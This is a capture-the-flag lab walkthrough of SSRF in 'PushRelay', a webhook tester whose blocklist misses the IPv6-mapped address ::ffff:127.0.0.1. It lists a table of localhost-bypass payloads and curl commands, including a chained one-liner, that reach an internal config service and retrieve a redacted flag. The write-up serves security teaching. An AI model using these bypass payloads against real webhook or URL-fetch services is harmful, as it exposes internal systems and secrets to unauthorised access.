Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester
Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: internal_service_access, ipv4_mapped_ipv6_bypass, ssrf_localhost_bypass, url_validation_bypass
Summary
Walkthrough of the CUSTOM Web Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester. Task: PushRelay webhook platform validates URLs against SSRF blocklist using WHATWG URL parser, but misses IPv6-mapped IPv4 addresses. Solution: Bypass blocklist with http://[::ffff:127.0.0.1]:3001/ t
Description
PushRelay is a webhook delivery and notification management platform used by development teams to route events across their infrastructure. The platform supports configuring webhook endpoints, testing deliveries, managing notification channels, and reviewing delivery logs. Your goal is to find a way to access internal resources that should not be reachable from the outside. The application validates webhook URLs to prevent Server-Side Request Forgery, but the validation may not cover all edge cases. The flag is stored on an internal service that is only accessible from within the platform's infrastructure.
English summary: An Express.js (Node.js) webhook delivery platform called PushRelay v2.4.1. The webhook test feature allows overriding the target URL and makes a server-side HTTP request. URL validation uses the WHATWG URL parser to extract hostnames for blocklist checking, but the actual HTTP request is made by axios. The blocklist misses IPv6-mapped IPv4 addresses (::ffff:127.0.0.1), allowing access to an internal config service on localhost:3001.
Target: https://ba4c4358-eaf5-4501-a615-83b8b1ea181e.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: Express.js (Node.js), axios, WHATWG URL parser
Analysis
Reconnaissance
- Logged in with provided credentials
user@test.com / password123 - The app is PushRelay v2.4.1 — a webhook delivery and notification management platform
- The webhook test feature at
/webhooks/:id/testallows overriding the target URL via atest_urlform field - The server makes a POST request to the specified URL — this is the SSRF vector
Key Endpoints
| Endpoint | Method | Purpose |
|---|---|---|
/login | POST | Authentication (email, password) |
/webhooks | GET | List configured webhooks |
/webhooks/:id/test | POST | Test webhook delivery with optional URL override |
/docs | GET | API documentation revealing architecture details |
| |
Architecture (from /docs)
The API documentation revealed critical implementation details:
- URL validation: Uses the WHATWG URL parser (
new URL()) to extract the hostname, then checks it against a blocklist - HTTP client: Uses axios to make the actual server-side request
- Internal Config Service: Runs on
localhost:3001with endpoints for health checks, metrics, config, and secrets - Blocklist covers:
localhost,127.0.0.1, private IP ranges (10.x.x.x,172.16-31.x.x,192.168.x.x), non-HTTP protocols, and::1
Vulnerability
The core vulnerability is a gap in the SSRF blocklist: it checks for common localhost representations but does NOT check for ::ffff:127.0.0.1 — the IPv6-mapped IPv4 address for localhost.
new URL("http://[::ffff:127.0.0.1]:3001/")parses successfully with hostname[::ffff:127.0.0.1]- The blocklist checks for
localhost,127.0.0.1,::1, and private ranges — but not::ffff:*addresses - axios resolves
[::ffff:127.0.0.1]to127.0.0.1and connects to the internal service
Bypass Attempts (Blocked)
| Payload | Result |
|---|---|
http://localhost:3001/ | Blocked — localhost in blocklist |
http://127.0.0.1:3001/ | Blocked — 127.0.0.1 in blocklist |
http://0.0.0.0:3001/ | Blocked |
http://127.1:3001/ | Blocked |
http://0177.0.0.1:3001/ (octal) | Blocked |
http://2130706433:3001/ (decimal IP) | Blocked |
http://0x7f000001:3001/ (hex IP) | Blocked |
http://[::1]:3001/ (IPv6 loopback) | Blocked — ::1 in blocklist |
http://foo@localhost:3001/ (userinfo) | Blocked |
| |
Successful Bypass
http://[::ffff:127.0.0.1]:3001/
The IPv6-mapped IPv4 address ::ffff:127.0.0.1 is semantically equivalent to 127.0.0.1 but is syntactically different enough to evade the blocklist.
Solution
Step 1: Login
bash read-only • copy allowedURL="https://ba4c4358-eaf5-4501-a615-83b8b1ea181e.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123"
Step 2: Enumerate Internal Service
Send a webhook test request with the SSRF bypass URL targeting the internal service root:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$URL/webhooks/1/test" \ -d "test_url=http://[::ffff:127.0.0.1]:3001/&custom_body={}"
Response reveals available endpoints:
json read-only • copy allowed{ "error": "Not found", "available": [ "GET /health", "GET /internal/config", "GET /internal/flag", "GET /internal/metrics" ] }
Step 3: Retrieve the Flag
Target the /internal/flag endpoint:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$URL/webhooks/1/test" \ -d "test_url=http://[::ffff:127.0.0.1]:3001/internal/flag&custom_body={}"
Response:
json read-only • copy allowed{ "status": "ok", "secret": "FLAG{REDACTED}", "note": "Internal configuration secret — do not expose externally" }
Full Exploit (one-liner)
bash read-only • copy allowed# Login and retrieve flag in one chain curl -s -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123" && \ curl -s -b cookies.txt -X POST "$URL/webhooks/1/test" \ -d "test_url=http://[::ffff:127.0.0.1]:3001/internal/flag&custom_body={}"
Key Takeaways / Lessons
- Mastering internal_service_access, ipv4_mapped_ipv6_bypass, ssrf_localhost_bypass, url_validation_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester • Difficulty: Medium